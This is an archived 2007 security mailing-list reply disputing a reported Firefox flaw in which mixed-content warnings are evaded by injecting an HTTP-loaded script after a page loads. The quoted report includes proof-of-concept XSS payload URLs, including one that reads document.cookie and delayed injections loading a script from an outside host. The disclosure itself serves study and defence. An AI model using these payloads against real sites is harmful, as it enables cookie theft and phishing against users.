[VulnWatch] Re: [Full-disclosure] Mozilla Firefox Insecure Element Stealth Injection Vulnerability



Dear Michal Majchrowicz,

This feature is not intended to protect against XSS, it's only intended
to inform you some information is transmitted in cleartext. You can
simply change

src="http://server2.com/xss.js

to

src="https://server2.com/xss.js

to avoid this message.

--Wednesday, April 4, 2007, 3:29:14 PM, you wrote to full-disclosure@xxxxxxxxxxxxxxxxx:

MM> When user visits sites over HTTPS protocol he is informed by the Web
MM> Browser everytime the site tries to load unsecured (using HTTP
MM> protocol) element (script/iframe/object etc.).
MM> So for instance if we have XSS vulnerable site
MM> https://server.com/vuln.php?id=";><script>alert(document.cookie);</script>
MM> Everybrowser will execute it without any complains since they cannot
MM> know where the code comes from. But this example will cause a warning:
MM> https://server.com/vuln.php?id=";><script
MM> src="http://server2.com/xss.js";></script>
MM> Web Browser knows that we are trying to load something over unsecure protocol.
MM> However Mozilla Firefox will fail with the following example and the
MM> user will think that all the elements are "safe":
MM> https://server.com/vuln.php?id=";><script>setTimeout("document.write('<script
MM> src=http://server2.com/xss.js></script>',10000)"</script>
MM> The "insecure element" will be added after Web Browser performs
MM> checking therefore allowing for instance phising attacks. Internet
MM> Explorer is not vulnerable to this issue. Other Web Browser weren't
MM> tested.

MM> _______________________________________________
MM> Full-Disclosure - We believe in it.
MM> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
MM> Hosted and sponsored by Secunia - http://secunia.com/


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